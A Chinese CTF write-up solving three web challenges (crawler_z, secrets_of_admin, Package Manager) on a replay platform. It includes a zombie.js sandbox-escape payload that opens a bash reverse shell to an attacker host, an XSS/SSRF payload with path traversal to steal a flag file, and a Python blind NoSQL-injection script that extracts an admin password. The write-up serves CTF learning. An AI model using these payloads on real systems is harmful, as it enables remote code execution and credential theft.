前言

谢谢各位哥哥带我进前三十❤️,想写wp的时候i春秋那边已经关了环境,所以去buu进行了复现。不过题目暂时还没上全,所以先解已经上线的题目(后续题目上线再补全)。
团队完整wp地址:https://wp.n03tack.top/posts/62454/

cralwer_z

zombie曾有个历史漏洞:https://ha.cker.in/index.php/Article/13563 ,我们需要想办法成功利用这个漏洞
本题关键代码在user.js文件,在路由profile的post请求方法中,会将输入的bucket值赋值给personalBucket

而在verify路由中,如果token检验正确就会进入if方法,将personalBucket更新到bucket

但是可以看到这里正则进行了严格的限制

即我们只能输入https://32位数字或者字母.oss-cn-beijing.ichunqiu.com/的形式,输入其他的无法将personalBucket更新到bucket中,不过这里有个变量覆盖的问题

  1. 我们先正常进行请求,会跳转到/user/verify,更新bucket的同时获得了token
  2. 我们构造自己的ip地址,修改personalBucket
  3. 用第一步获得的token去请求/user/verify,会把personalBucket更新到bucket中,完成变量覆盖

思路已经很明确了,我们先在自己的vps上面放一个 exp.html ,内容为zombie漏洞的exp,下面ip和端口改成自己的

1
<script>c='constructor';this[c][c]("c='constructor';require=this[c][c]('return process')().mainModule.require;var sync=require('child_process').spawnSync; var ls = sync('bash', ['-c','bash -i >& /dev/tcp/ip/port 0>&1'],);console.log(ls.output.toString());")()</script>

然后就是进行正常请求,url会跳转到verify获取token
然后因为checkBucket的限制,我们需要带上oss-cn-beijing.ichunqiu.com

所以我们bucket输入如下

然后就是再访问一次

1
http://7d064cc8-729a-478d-bc90-bdd45876b751.node4.buuoj.cn:81/user/verify?token=aa647751ec8004b5745271304ab5ed38a149a9c76214e79e81c49dc934ac5e0f

我们输入的personalBucket成功更新到bucket

然后vps那边开启nc监听,浏览器访问7d064cc8-729a-478d-bc90-bdd45876b751.node4.buuoj.cn:81/user/bucket,成功反弹shell

secrets_of_admin

database.ts 文件中可以得到admin的密码,密码为e365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645

同时可以观察到flag文件在superuser这个账号中,继续查看 routes/index.ts 文件,可以发现此账号被限制登录了,用admin账号登录后,传上去的文件名变成了md5的形式,并且存到superuser账号里

不过提供了另一个增加文件的方法/api/files

但限制了本地访问,不过我们可以通过前面的/adminpost方法进行 ssrf 打本地,继续观察可发现对输入的content进行了过滤

可以用数组进行绕过,接着就是构造payload,把 superuser 的flag文件添加到 admin 账号下

1
content[]=<script>location.href="http://127.0.0.1:8888/api/files?username=admin&filename=../files/flag&checksum=be5a14a8e504a66979f6938338b0662c";</script>


再访问flag文件

1
/api/files/be5a14a8e504a66979f6938338b0662c

Package Manager

审计源码,在auth路由方法中存在sql注入漏洞

构造payload

1
00f355689f5b7cb21e2a34346d9c55cd"||(this.username=="admin"&&this.password[i]=="j")||"



存在盲注,所以写一个python脚本注出密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/8/24 22:55
# blog: www.wlhhlc.top
import requests

url = "http://b2ac6fa8-4eb4-4c98-9f24-c41b32060edc.node4.buuoj.cn:81/auth"
cookies = {"session": "s%3Ad034-UqbmEKoZTjp_29TmqCvxuec67jE.E3VNBOuM%2BOpzxu%2Fi5ske43e80M2MLDu0FnLwEv9qmDI"}
flag = ""
for i in range(0, 50):
for j in range(32, 127):
payload = "00f355689f5b7cb21e2a34346d9c55cd\"||(this.username==\"admin\"&&this.password[{0}]==\"{1}\")||\"".format(i,chr(j))
data = {"_csrf": "sShk9REd-9QoAV2EvYHMOAPc6RQ0gjNdeyn4", "token": payload}
res = requests.post(url, cookies=cookies, data=data, allow_redirects=False)
if res.status_code==302:
flag +=chr(j)
print("password:" + flag)


注出admin的密码为!@#&@&@efefef*@((@))grgregret3r,登录后就有flag

剩下的等buu更新